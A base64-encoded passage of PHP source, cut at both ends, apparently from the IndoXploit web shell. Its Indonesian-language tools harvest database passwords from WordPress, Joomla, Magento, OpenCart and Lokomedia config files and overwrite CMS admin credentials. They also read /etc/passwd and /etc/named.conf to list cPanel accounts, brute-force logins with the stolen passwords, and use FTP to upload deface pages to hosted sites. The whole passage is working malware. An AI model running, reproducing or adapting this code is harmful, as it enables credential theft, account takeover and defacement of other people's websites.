JJGNvbm4gPSBteXNxbF9jb25uZWN0KCRkYmhvc3QsJGRidXNlciwkZGJwYXNzKTsNCgkJCQkJJGRiID0gbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUpOw0KCQkJCQkkcSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICRwcmVmaXggT1JERVIgQlkgdXNlcl9pZCBBU0MiKTsNCgkJCQkJJHJlc3VsdCA9IG15c3FsX2ZldGNoX2FycmF5KCRxKTsNCgkJCQkJJGlkID0gJHJlc3VsdFt1c2VyX2lkXTsNCgkJCQkJJHEyID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJG9wdGlvbiBXSEVSRSBwYXRoPSd3ZWIvc2VjdXJlL2Jhc2VfdXJsJyIpOw0KCQkJCQkkcmVzdWx0MiA9IG15c3FsX2ZldGNoX2FycmF5KCRxMik7DQoJCQkJCSR0YXJnZXQgPSAkcmVzdWx0Mlt2YWx1ZV07DQoJCQkJCWlmKCR0YXJnZXQgPT0gJycpIHsNCgkJCQkJCSR1cmxfdGFyZ2V0ID0gIkxvZ2luID0+IDxmb250IGNvbG9yPXJlZD5lcnJvciwgZ2FiaXNhIGFtYmlsIG5hbWEgZG9tYWluIG55YWE8L2ZvbnQ+PGJyPiI7DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQkkdXJsX3RhcmdldCA9ICJMb2dpbiA9PiA8YSBocmVmPSckdGFyZ2V0L2FkbWluLycgdGFyZ2V0PSdfYmxhbmsnPjx1PiR0YXJnZXQvYWRtaW4vPC91PjwvYT48YnI+IjsNCgkJCQkJfQ0KCQkJCQkkdXBkYXRlID0gbXlzcWxfcXVlcnkoIlVQREFURSAkcHJlZml4IFNFVCB1c2VybmFtZT0nJHVzZXJfYmFydScscGFzc3dvcmQ9JyRwYXNzX2JhcnUnIFdIRVJFIHVzZXJfaWQ9JyRpZCciKTsNCgkJCQkJZWNobyAiQ29uZmlnID0+ICIuJGZpbGVfY29uZi4iPGJyPiI7DQoJCQkJCWVjaG8gIkNNUyA9PiBNYWdlbnRvPGJyPiI7DQoJCQkJCWVjaG8gJHVybF90YXJnZXQ7DQoJCQkJCWlmKCEkdXBkYXRlIE9SICEkY29ubiBPUiAhJGRiKSB7DQoJCQkJCQllY2hvICJTdGF0dXMgPT4gPGZvbnQgY29sb3I9cmVkPiIubXlzcWxfZXJyb3IoKS4iPC9mb250Pjxicj48YnI+IjsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCWVjaG8gIlN0YXR1cyA9PiA8Zm9udCBjb2xvcj1saW1lPnN1a3NlcyBlZGl0IHVzZXIsIHNpbGFrYW4gbG9naW4gZGVuZ2FuIHVzZXIgJiBwYXNzIHlhbmcgYmFydS48L2ZvbnQ+PGJyPjxicj4iOw0KCQkJCQl9DQoJCQkJCW15c3FsX2Nsb3NlKCRjb25uKTsNCgkJCQl9IGVsc2VpZihwcmVnX21hdGNoKCIvSFRUUF9TRVJWRVJ8SFRUUF9DQVRBTE9HfERJUl9DT05GSUd8RElSX1NZU1RFTS8iLCRjb25maWcpKSB7DQoJCQkJCSRkYmhvc3QgPSBhbWJpbGthdGEoJGNvbmZpZywiJ0RCX0hPU1ROQU1FJywgJyIsIiciKTsNCgkJCQkJJGRidXNlciA9IGFtYmlsa2F0YSgkY29uZmlnLCInREJfVVNFUk5BTUUnLCAnIiwiJyIpOw0KCQkJCQkkZGJwYXNzID0gYW1iaWxrYXRhKCRjb25maWcsIidEQl9QQVNTV09SRCcsICciLCInIik7DQoJCQkJCSRkYm5hbWUgPSBhbWJpbGthdGEoJGNvbmZpZywiJ0RCX0RBVEFCQVNFJywgJyIsIiciKTsNCgkJCQkJJGRicHJlZml4ID0gYW1iaWxrYXRhKCRjb25maWcsIidEQl9QUkVGSVgnLCAnIiwiJyIpOw0KCQkJCQkkcHJlZml4ID0gJGRicHJlZml4LiJ1c2VyIjsNCgkJCQkJJGNvbm4gPSBteXNxbF9jb25uZWN0KCRkYmhvc3QsJGRidXNlciwkZGJwYXNzKTsNCgkJCQkJJGRiID0gbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUpOw0KCQkJCQkkcSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICRwcmVmaXggT1JERVIgQlkgdXNlcl9pZCBBU0MiKTsNCgkJCQkJJHJlc3VsdCA9IG15c3FsX2ZldGNoX2FycmF5KCRxKTsNCgkJCQkJJGlkID0gJHJlc3VsdFt1c2VyX2lkXTsNCgkJCQkJJHRhcmdldCA9IGFtYmlsa2F0YSgkY29uZmlnLCJIVFRQX1NFUlZFUicsICciLCInIik7DQoJCQkJCWlmKCR0YXJnZXQgPT0gJycpIHsNCgkJCQkJCSR1cmxfdGFyZ2V0ID0gIkxvZ2luID0+IDxmb250IGNvbG9yPXJlZD5lcnJvciwgZ2FiaXNhIGFtYmlsIG5hbWEgZG9tYWluIG55YWE8L2ZvbnQ+PGJyPiI7DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQkkdXJsX3RhcmdldCA9ICJMb2dpbiA9PiA8YSBocmVmPSckdGFyZ2V0JyB0YXJnZXQ9J19ibGFuayc+PHU+JHRhcmdldDwvdT48L2E+PGJyPiI7DQoJCQkJCX0NCgkJCQkJJHVwZGF0ZSA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgJHByZWZpeCBTRVQgdXNlcm5hbWU9JyR1c2VyX2JhcnUnLHBhc3N3b3JkPSckcGFzc19iYXJ1JyBXSEVSRSB1c2VyX2lkPSckaWQnIik7DQoJCQkJCWVjaG8gIkNvbmZpZyA9PiAiLiRmaWxlX2NvbmYuIjxicj4iOw0KCQkJCQllY2hvICJDTVMgPT4gT3BlbkNhcnQ8YnI+IjsNCgkJCQkJZWNobyAkdXJsX3RhcmdldDsNCgkJCQkJaWYoISR1cGRhdGUgT1IgISRjb25uIE9SICEkZGIpIHsNCgkJCQkJCWVjaG8gIlN0YXR1cyA9PiA8Zm9udCBjb2xvcj1yZWQ+Ii5teXNxbF9lcnJvcigpLiI8L2ZvbnQ+PGJyPjxicj4iOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJZWNobyAiU3RhdHVzID0+IDxmb250IGNvbG9yPWxpbWU+c3Vrc2VzIGVkaXQgdXNlciwgc2lsYWthbiBsb2dpbiBkZW5nYW4gdXNlciAmIHBhc3MgeWFuZyBiYXJ1LjwvZm9udD48YnI+PGJyPiI7DQoJCQkJCX0NCgkJCQkJbXlzcWxfY2xvc2UoJGNvbm4pOw0KCQkJCX0gZWxzZWlmKHByZWdfbWF0Y2goIi9wYW5nZ2lsIGZ1bmdzaSB2YWxpZGFzaSB4c3MgZGFuIGluamVjdGlvbi8iLCRjb25maWcpKSB7DQoJCQkJCSRkYmhvc3QgPSBhbWJpbGthdGEoJGNvbmZpZywnc2VydmVyID0gIicsJyInKTsNCgkJCQkJJGRidXNlciA9IGFtYmlsa2F0YSgkY29uZmlnLCd1c2VybmFtZSA9ICInLCciJyk7DQoJCQkJCSRkYnBhc3MgPSBhbWJpbGthdGEoJGNvbmZpZywncGFzc3dvcmQgPSAiJywnIicpOw0KCQkJCQkkZGJuYW1lID0gYW1iaWxrYXRhKCRjb25maWcsJ2RhdGFiYXNlID0gIicsJyInKTsNCgkJCQkJJHByZWZpeCA9ICJ1c2VycyI7DQoJCQkJCSRvcHRpb24gPSAiaWRlbnRpdGFzIjsNCgkJCQkJJGNvbm4gPSBteXNxbF9jb25uZWN0KCRkYmhvc3QsJGRidXNlciwkZGJwYXNzKTsNCgkJCQkJJGRiID0gbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUpOw0KCQkJCQkkcSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICRvcHRpb24gT1JERVIgQlkgaWRfaWRlbnRpdGFzIEFTQyIpOw0KCQkJCQkkcmVzdWx0ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHEpOw0KCQkJCQkkdGFyZ2V0ID0gJHJlc3VsdFthbGFtYXRfd2Vic2l0ZV07DQoJCQkJCWlmKCR0YXJnZXQgPT0gJycpIHsNCgkJCQkJCSR0YXJnZXQyID0gJHJlc3VsdFt1cmxdOw0KCQkJCQkJJHVybF90YXJnZXQgPSAiTG9naW4gPT4gPGZvbnQgY29sb3I9cmVkPmVycm9yLCBnYWJpc2EgYW1iaWwgbmFtYSBkb21haW4gbnlhYTwvZm9udD48YnI+IjsNCgkJCQkJCWlmKCR0YXJnZXQyID09ICcnKSB7DQoJCQkJCQkJJHVybF90YXJnZXQyID0gIkxvZ2luID0+IDxmb250IGNvbG9yPXJlZD5lcnJvciwgZ2FiaXNhIGFtYmlsIG5hbWEgZG9tYWluIG55YWE8L2ZvbnQ+PGJyPiI7DQoJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCSRjZWtfbG9naW4zID0gZmlsZV9nZXRfY29udGVudHMoIiR0YXJnZXQyL2FkbWlud2ViLyIpOw0KCQkJCQkJCSRjZWtfbG9naW40ID0gZmlsZV9nZXRfY29udGVudHMoIiR0YXJnZXQyL2xva29tZWRpYS9hZG1pbndlYi8iKTsNCgkJCQkJCQlpZihwcmVnX21hdGNoKCIvQ01TIExva29tZWRpYXxBZG1pbmlzdHJhdG9yLyIsICRjZWtfbG9naW4zKSkgew0KCQkJCQkJCQkkdXJsX3RhcmdldDIgPSAiTG9naW4gPT4gPGEgaHJlZj0nJHRhcmdldDIvYWRtaW53ZWInIHRhcmdldD0nX2JsYW5rJz48dT4kdGFyZ2V0Mi9hZG1pbndlYjwvdT48L2E+PGJyPiI7DQoJCQkJCQkJfSBlbHNlaWYocHJlZ19tYXRjaCgiL0NNUyBMb2tvbWVkaWF8TG9rb21lZGlhLyIsICRjZWtfbG9naW40KSkgew0KCQkJCQkJCQkkdXJsX3RhcmdldDIgPSAiTG9naW4gPT4gPGEgaHJlZj0nJHRhcmdldDIvbG9rb21lZGlhL2FkbWlud2ViJyB0YXJnZXQ9J19ibGFuayc+PHU+JHRhcmdldDIvbG9rb21lZGlhL2FkbWlud2ViPC91PjwvYT48YnI+IjsNCgkJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCQkkdXJsX3RhcmdldDIgPSAiTG9naW4gPT4gPGEgaHJlZj0nJHRhcmdldDInIHRhcmdldD0nX2JsYW5rJz48dT4kdGFyZ2V0MjwvdT48L2E+IFsgPGZvbnQgY29sb3I9cmVkPmdhdGF1IGFkbWluIGxvZ2luIG55YSBkaW1hbmEgOnA8L2ZvbnQ+IF08YnI+IjsNCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQkkY2VrX2xvZ2luID0gZmlsZV9nZXRfY29udGVudHMoIiR0YXJnZXQvYWRtaW53ZWIvIik7DQoJCQkJCQkkY2VrX2xvZ2luMiA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIkdGFyZ2V0L2xva29tZWRpYS9hZG1pbndlYi8iKTsNCgkJCQkJCWlmKHByZWdfbWF0Y2goIi9DTVMgTG9rb21lZGlhfEFkbWluaXN0cmF0b3IvIiwgJGNla19sb2dpbikpIHsNCgkJCQkJCQkkdXJsX3RhcmdldCA9ICJMb2dpbiA9PiA8YSBocmVmPSckdGFyZ2V0L2FkbWlud2ViJyB0YXJnZXQ9J19ibGFuayc+PHU+JHRhcmdldC9hZG1pbndlYjwvdT48L2E+PGJyPiI7DQoJCQkJCQl9IGVsc2VpZihwcmVnX21hdGNoKCIvQ01TIExva29tZWRpYXxMb2tvbWVkaWEvIiwgJGNla19sb2dpbjIpKSB7DQoJCQkJCQkJJHVybF90YXJnZXQgPSAiTG9naW4gPT4gPGEgaHJlZj0nJHRhcmdldC9sb2tvbWVkaWEvYWRtaW53ZWInIHRhcmdldD0nX2JsYW5rJz48dT4kdGFyZ2V0L2xva29tZWRpYS9hZG1pbndlYjwvdT48L2E+PGJyPiI7DQoJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCSR1cmxfdGFyZ2V0ID0gIkxvZ2luID0+IDxhIGhyZWY9JyR0YXJnZXQnIHRhcmdldD0nX2JsYW5rJz48dT4kdGFyZ2V0PC91PjwvYT4gWyA8Zm9udCBjb2xvcj1yZWQ+Z2F0YXUgYWRtaW4gbG9naW4gbnlhIGRpbWFuYSA6cDwvZm9udD4gXTxicj4iOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJCSR1cGRhdGUgPSBteXNxbF9xdWVyeSgiVVBEQVRFICRwcmVmaXggU0VUIHVzZXJuYW1lPSckdXNlcl9iYXJ1JyxwYXNzd29yZD0nJHBhc3NfYmFydScgV0hFUkUgbGV2ZWw9J2FkbWluJyIpOw0KCQkJCQllY2hvICJDb25maWcgPT4gIi4kZmlsZV9jb25mLiI8YnI+IjsNCgkJCQkJZWNobyAiQ01TID0+IExva29tZWRpYTxicj4iOw0KCQkJCQlpZihwcmVnX21hdGNoKCcvZXJyb3IsIGdhYmlzYSBhbWJpbCBuYW1hIGRvbWFpbiBueWEvJywgJHVybF90YXJnZXQpKSB7DQoJCQkJCQllY2hvICR1cmxfdGFyZ2V0MjsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCWVjaG8gJHVybF90YXJnZXQ7DQoJCQkJCX0NCgkJCQkJaWYoISR1cGRhdGUgT1IgISRjb25uIE9SICEkZGIpIHsNCgkJCQkJCWVjaG8gIlN0YXR1cyA9PiA8Zm9udCBjb2xvcj1yZWQ+Ii5teXNxbF9lcnJvcigpLiI8L2ZvbnQ+PGJyPjxicj4iOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJZWNobyAiU3RhdHVzID0+IDxmb250IGNvbG9yPWxpbWU+c3Vrc2VzIGVkaXQgdXNlciwgc2lsYWthbiBsb2dpbiBkZW5nYW4gdXNlciAmIHBhc3MgeWFuZyBiYXJ1LjwvZm9udD48YnI+PGJyPiI7DQoJCQkJCX0NCgkJCQkJbXlzcWxfY2xvc2UoJGNvbm4pOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0gZWxzZSB7DQoJCWVjaG8gIjxjZW50ZXI+DQoJCTxoMT5BdXRvIEVkaXQgVXNlciBDb25maWc8L2gxPg0KCQk8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCQlESVIgQ29uZmlnOiA8YnI+DQoJCTxpbnB1dCB0eXBlPSd0ZXh0JyBzaXplPSc1MCcgbmFtZT0nY29uZmlnX2RpcicgdmFsdWU9JyRkaXInPjxicj48YnI+DQoJCVNldCBVc2VyICYgUGFzczogPGJyPg0KCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndXNlcl9iYXJ1JyB2YWx1ZT0naW5kb3hwbG9pdCcgcGxhY2Vob2xkZXI9J3VzZXJfYmFydSc+PGJyPg0KCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncGFzc19iYXJ1JyB2YWx1ZT0naW5kb3hwbG9pdCcgcGxhY2Vob2xkZXI9J3Bhc3NfYmFydSc+PGJyPg0KCQk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdoYWphcicgdmFsdWU9J0hhamFyIScgc3R5bGU9J3dpZHRoOiAyMTVweDsnPg0KCQk8L2Zvcm0+DQoJCTxzcGFuPk5COiBUb29scyBpbmkgd29yayBqaWthIGRpamFsYW5rYW4gZGkgZGFsYW0gZm9sZGVyIDx1PmNvbmZpZzwvdT4gKCBleDogL2hvbWUvdXNlci9wdWJsaWNfaHRtbC9uYW1hX2ZvbGRlcl9jb25maWcgKTwvc3Bhbj48YnI+DQoJCSI7DQoJfQ0KfSBlbHNlaWYoJF9HRVRbJ2RvJ10gPT0gJ2NwYW5lbCcpIHsNCglpZigkX1BPU1RbJ2NyYWNrJ10pIHsNCgkJJHVzZXJjcCA9IGV4cGxvZGUoIlxyXG4iLCAkX1BPU1RbJ3VzZXJfY3AnXSk7DQoJCSRwYXNzY3AgPSBleHBsb2RlKCJcclxuIiwgJF9QT1NUWydwYXNzX2NwJ10pOw0KCQkkaSA9IDA7DQoJCWZvcmVhY2goJHVzZXJjcCBhcyAkdWNwKSB7DQoJCQlmb3JlYWNoKCRwYXNzY3AgYXMgJHBjcCkgew0KCQkJCWlmKEBteXNxbF9jb25uZWN0KCdsb2NhbGhvc3QnLCAkdWNwLCAkcGNwKSkgew0KCQkJCQlpZigkX1NFU1NJT05bJHVjcF0gJiYgJF9TRVNTSU9OWyRwY3BdKSB7DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQkkX1NFU1NJT05bJHVjcF0gPSAiMSI7DQoJCQkJCQkkX1NFU1NJT05bJHBjcF0gPSAiMSI7DQoJCQkJCQlpZigkdWNwID09ICcnIHx8ICRwY3AgPT0gJycpIHsNCgkJCQkJCQkNCgkJCQkJCX0gZWxzZSB7DQoJCQkJCQkJJGkrKzsNCgkJCQkJCQlpZihmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykpIHsNCgkJCQkJCQkJJGRvbWFpbl9jcCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL25hbWVkLmNvbmYiKTsJDQoJCQkJCQkJCWlmKCRkb21haW5fY3AgPT0gJycpIHsNCgkJCQkJCQkJCSRkb20gPSAgIjxmb250IGNvbG9yPXJlZD5nYWJpc2EgYW1iaWwgbmFtYSBkb21haW4gbnlhPC9mb250PiI7DQoJCQkJCQkJCX0gZWxzZSB7DQoJCQkJCQkJCQlwcmVnX21hdGNoX2FsbCgiIy92YXIvbmFtZWQvKC4qPykuZGIjIiwgJGRvbWFpbl9jcCwgJGRvbWFpbnNfY3ApOw0KCQkJCQkJCQkJZm9yZWFjaCgkZG9tYWluc19jcFsxXSBhcyAkZGopIHsNCgkJCQkJCQkJCQkkdXNlcl9jcF91cmwgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyRkaiIpKTsNCgkJCQkJCQkJCQkkdXNlcl9jcF91cmwgPSAkdXNlcl9jcF91cmxbJ25hbWUnXTsNCgkJCQkJCQkJCQlpZigkdXNlcl9jcF91cmwgPT0gJHVjcCkgew0KCQkJCQkJCQkJCQkkZG9tID0gIjxhIGhyZWY9J2h0dHA6Ly8kZGovJyB0YXJnZXQ9J19ibGFuayc+PGZvbnQgY29sb3I9bGltZT4kZGo8L2ZvbnQ+PC9hPiI7DQoJCQkJCQkJCQkJCWJyZWFrOw0KCQkJCQkJCQkJCX0NCgkJCQkJCQkJCX0NCgkJCQkJCQkJfQ0KCQkJCQkJCX0gZWxzZSB7DQoJCQkJCQkJCSRkb20gPSAiPGZvbnQgY29sb3I9cmVkPmZ1bmN0aW9uIGlzIERpc2FibGUgYnkgc3lzdGVtPC9mb250PiI7DQoJCQkJCQkJfQ0KCQkJCQkJCWVjaG8gInVzZXJuYW1lICg8Zm9udCBjb2xvcj1saW1lPiR1Y3A8L2ZvbnQ+KSBwYXNzd29yZCAoPGZvbnQgY29sb3I9bGltZT4kcGNwPC9mb250PikgZG9tYWluICgkZG9tKTxicj4iOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCWlmKCRpID09IDApIHsNCgkJfSBlbHNlIHsNCgkJCWVjaG8gIjxicj5zdWtzZXMgbnlvbG9uZyAiLiRpLiIgQ3BhbmVsIGJ5IDxmb250IGNvbG9yPWxpbWU+SW5kb1hwbG9pdC48L2ZvbnQ+IjsNCgkJfQ0KCX0gZWxzZSB7DQoJCWVjaG8gIjxjZW50ZXI+DQoJCTxmb3JtIG1ldGhvZD0ncG9zdCc+DQoJCVVTRVI6IDxicj4NCgkJPHRleHRhcmVhIHN0eWxlPSd3aWR0aDogNDUwcHg7IGhlaWdodDogMTUwcHg7JyBuYW1lPSd1c2VyX2NwJz4iOw0KCQkkX3VzZXJjcCA9IGZvcGVuKCIvZXRjL3Bhc3N3ZCIsInIiKTsNCgkJd2hpbGUoJGdldHUgPSBmZ2V0cygkX3VzZXJjcCkpIHsNCgkJCWlmKCRnZXR1ID09ICcnIHx8ICEkX3VzZXJjcCkgew0KCQkJCWVjaG8gIjxmb250IGNvbG9yPXJlZD5DYW4ndCByZWFkIC9ldGMvcGFzc3dkPC9mb250PiI7DQoJCQl9IGVsc2Ugew0KCQkJCXByZWdfbWF0Y2hfYWxsKCIvKC4qPyk6eDovIiwgJGdldHUsICR1KTsNCgkJCQlmb3JlYWNoKCR1WzFdIGFzICR1c2VyX2NwKSB7DQoJCQkJCQlpZihpc19kaXIoIi9ob21lLyR1c2VyX2NwL3B1YmxpY19odG1sIikpIHsNCgkJCQkJCQllY2hvICIkdXNlcl9jcFxuIjsNCgkJCQkJfQ0KCQkJCX0NCgkJCX0NCgkJfQ0KCQllY2hvICI8L3RleHRhcmVhPjxicj4NCgkJUEFTUzogPGJyPg0KCQk8dGV4dGFyZWEgc3R5bGU9J3dpZHRoOiA0NTBweDsgaGVpZ2h0OiAyMDBweDsnIG5hbWU9J3Bhc3NfY3AnPiI7DQoJCWZ1bmN0aW9uIGNwX3Bhc3MoJGRpcikgew0KCQkJJHBhc3MgPSAiIjsNCgkJCSRkaXJhID0gc2NhbmRpcigkZGlyKTsNCgkJCWZvcmVhY2goJGRpcmEgYXMgJGRpcmIpIHsNCgkJCQlpZighaXNfZmlsZSgiJGRpci8kZGlyYiIpKSBjb250aW51ZTsNCgkJCQkkYW1iaWwgPSBmaWxlX2dldF9jb250ZW50cygiJGRpci8kZGlyYiIpOw0KCQkJCWlmKHByZWdfbWF0Y2goIi9Xb3JkUHJlc3MvIiwgJGFtYmlsKSkgew0KCQkJCQkkcGFzcyAuPSBhbWJpbGthdGEoJGFtYmlsLCJEQl9QQVNTV09SRCcsICciLCInIikuIlxuIjsNCgkJCQl9IGVsc2VpZihwcmVnX21hdGNoKCIvSkNvbmZpZ3xqb29tbGEvIiwgJGFtYmlsKSkgew0KCQkJCQkkcGFzcyAuPSBhbWJpbGthdGEoJGFtYmlsLCJwYXNzd29yZCA9ICciLCInIikuIlxuIjsNCgkJCQl9IGVsc2VpZihwcmVnX21hdGNoKCIvTWFnZW50b3xNYWdlX0NvcmUvIiwgJGFtYmlsKSkgew0KCQkJCQkkcGFzcyAuPSBhbWJpbGthdGEoJGFtYmlsLCI8cGFzc3dvcmQ+PCFbQ0RBVEFbIiwiXV0+PC9wYXNzd29yZD4iKS4iXG4iOw0KCQkJCX0gZWxzZWlmKHByZWdfbWF0Y2goIi9wYW5nZ2lsIGZ1bmdzaSB2YWxpZGFzaSB4c3MgZGFuIGluamVjdGlvbi8iLCAkYW1iaWwpKSB7DQoJCQkJCSRwYXNzIC49IGFtYmlsa2F0YSgkYW1iaWwsJ3Bhc3N3b3JkID0gIicsJyInKS4iXG4iOw0KCQkJCX0gZWxzZWlmKHByZWdfbWF0Y2goIi9IVFRQX1NFUlZFUnxIVFRQX0NBVEFMT0d8RElSX0NPTkZJR3xESVJfU1lTVEVNLyIsICRhbWJpbCkpIHsNCgkJCQkJJHBhc3MgLj0gYW1iaWxrYXRhKCRhbWJpbCwiJ0RCX1BBU1NXT1JEJywgJyIsIiciKS4iXG4iOw0KCQkJCX0gZWxzZWlmKHByZWdfbWF0Y2goIi9eW2NsaWVudF0kLyIsICRhbWJpbCkpIHsNCgkJCQkJcHJlZ19tYXRjaCgiL3Bhc3N3b3JkPSguKj8pLyIsICRhbWJpbCwgJHBhc3MxKTsNCgkJCQkJaWYocHJlZ19tYXRjaCgnLyIvJywgJHBhc3MxWzFdKSkgew0KCQkJCQkJJHBhc3MxWzFdID0gc3RyX3JlcGxhY2UoJyInLCAiIiwgJHBhc3MxWzFdKTsNCgkJCQkJCSRwYXNzIC49ICRwYXNzMVsxXS4iXG4iOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJJHBhc3MgLj0gJHBhc3MxWzFdLiJcbiI7DQoJCQkJCX0NCgkJCQl9IGVsc2VpZihwcmVnX21hdGNoKCIvY2NfZW5jcnlwdGlvbl9oYXNoLyIsICRhbWJpbCkpIHsNCgkJCQkJJHBhc3MgLj0gYW1iaWxrYXRhKCRhbWJpbCwiZGJfcGFzc3dvcmQgPSAnIiwiJyIpLiJcbiI7DQoJCQkJfQ0KCQkJfQ0KCQkJZWNobyAkcGFzczsNCgkJfQ0KCQkkY3BfcGFzcyA9IGNwX3Bhc3MoJGRpcik7DQoJCWVjaG8gJGNwX3Bhc3M7DQoJCWVjaG8gIjwvdGV4dGFyZWE+PGJyPg0KCQk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdjcmFjaycgc3R5bGU9J3dpZHRoOiA0NTBweDsnIHZhbHVlPSdDcmFjayc+DQoJCTwvZm9ybT4NCgkJPHNwYW4+TkI6IENQYW5lbCBDcmFjayBpbmkgc3VkYWggYXV0byBnZXQgcGFzc3dvcmQgKCBwYWtlIGRiIHBhc3N3b3JkICkgbWFrYSBha2FuIHdvcmsgamlrYSBkaWphbGFua2FuIGRpIGRhbGFtIGZvbGRlciA8dT5jb25maWc8L3U+ICggZXg6IC9ob21lL3VzZXIvcHVibGljX2h0bWwvbmFtYV9mb2xkZXJfY29uZmlnICk8L3NwYW4+PGJyPjwvY2VudGVyPiI7DQoJfQ0KfSBlbHNlaWYoJF9HRVRbJ2RvJ10gPT0gJ2NwZnRwX2F1dG8nKSB7DQoJaWYoJF9QT1NUWydjcmFjayddKSB7DQoJCSR1c2VyY3AgPSBleHBsb2RlKCJcclxuIiwgJF9QT1NUWyd1c2VyX2NwJ10pOw0KCQkkcGFzc2NwID0gZXhwbG9kZSgiXHJcbiIsICRfUE9TVFsncGFzc19jcCddKTsNCgkJJGkgPSAwOw0KCQlmb3JlYWNoKCR1c2VyY3AgYXMgJHVjcCkgew0KCQkJZm9yZWFjaCgkcGFzc2NwIGFzICRwY3ApIHsNCgkJCQlpZihAbXlzcWxfY29ubmVjdCgnbG9jYWxob3N0JywgJHVjcCwgJHBjcCkpIHsNCgkJCQkJaWYoJF9TRVNTSU9OWyR1Y3BdICYmICRfU0VTU0lPTlskcGNwXSkgew0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJJF9TRVNTSU9OWyR1Y3BdID0gIjEiOw0KCQkJCQkJJF9TRVNTSU9OWyRwY3BdID0gIjEiOw0KCQkJCQkJaWYoJHVjcCA9PSAnJyB8fCAkcGNwID09ICcnKSB7DQoJCQkJCQkJLy8NCgkJCQkJCX0gZWxzZSB7DQoJCQkJCQkJZWNobyAiWytdIHVzZXJuYW1lICg8Zm9udCBjb2xvcj1saW1lPiR1Y3A8L2ZvbnQ+KSBwYXNzd29yZCAoPGZvbnQgY29sb3I9bGltZT4kcGNwPC9mb250Pik8YnI+IjsNCgkJCQkJCQkkZnRwX2Nvbm4gPSBmdHBfY29ubmVjdCgkaXApOw0KCQkJCQkJCSRmdHBfbG9naW4gPSBmdHBfbG9naW4oJGZ0cF9jb25uLCAkdWNwLCAkcGNwKTsNCgkJCQkJCQlpZigoISRmdHBfbG9naW4pIHx8ICghJGZ0cF9jb25uKSkgew0KCQkJCQkJCQllY2hvICJbK10gPGZvbnQgY29sb3I9cmVkPkxvZ2luIEdhZ2FsPC9mb250Pjxicj48YnI+IjsNCgkJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCQllY2hvICJbK10gPGZvbnQgY29sb3I9bGltZT5Mb2dpbiBTdWtzZXM8L2ZvbnQ+PGJyPiI7DQoJCQkJCQkJCSRmaSA9IGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydmaWxlX2RlZmFjZSddKTsNCgkJCQkJCQkJJGRlZmFjZSA9IGZ0cF9wdXQoJGZ0cF9jb25uLCAicHVibGljX2h0bWwvJGZpIiwgJF9QT1NUWydkZWZhY2UnXSwgRlRQX0JJTkFSWSk7DQoJCQkJCQkJCWlmKCRkZWZhY2UpIHsNCgkJCQkJCQkJCSRpKys7DQoJCQkJCQkJCQllY2hvICJbK10gPGZvbnQgY29sb3I9bGltZT5EZWZhY2UgU3Vrc2VzPC9mb250Pjxicj4iOw0KCQkJCQkJCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKSB7DQoJCQkJCQkJCQkJJGRvbWFpbl9jcCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL25hbWVkLmNvbmYiKTsJDQoJCQkJCQkJCQkJaWYoJGRvbWFpbl9jcCA9PSAnJykgew0KCQkJCQkJCQkJCQllY2hvICJbK10gPGZvbnQgY29sb3I9cmVkPmdhYmlzYSBhbWJpbCBuYW1hIGRvbWFpbiBueWE8L2ZvbnQ+PGJyPjxicj4iOw0KCQkJCQkJCQkJCX0gZWxzZSB7DQoJCQkJCQkJCQkJCXByZWdfbWF0Y2hfYWxsKCIjL3Zhci9uYW1lZC8oLio/KS5kYiMiLCAkZG9tYWluX2NwLCAkZG9tYWluc19jcCk7DQoJCQkJCQkJCQkJCWZvcmVhY2goJGRvbWFpbnNfY3BbMV0gYXMgJGRqKSB7DQoJCQkJCQkJCQkJCQkkdXNlcl9jcF91cmwgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyRkaiIpKTsNCgkJCQkJCQkJCQkJCSR1c2VyX2NwX3VybCA9ICR1c2VyX2NwX3VybFsnbmFtZSddOw0KCQkJCQkJCQkJCQkJaWYoJHVzZXJfY3BfdXJsID09ICR1Y3ApIHsNCgkJCQkJCQkJCQkJCQllY2hvICJbK10gPGEgaHJlZj0naHR0cDovLyRkai8kZmknIHRhcmdldD0nX2JsYW5rJz5odHRwOi8vJGRqLyRmaTwvYT48YnI+PGJyPiI7DQoJCQkJCQkJCQkJCQkJYnJlYW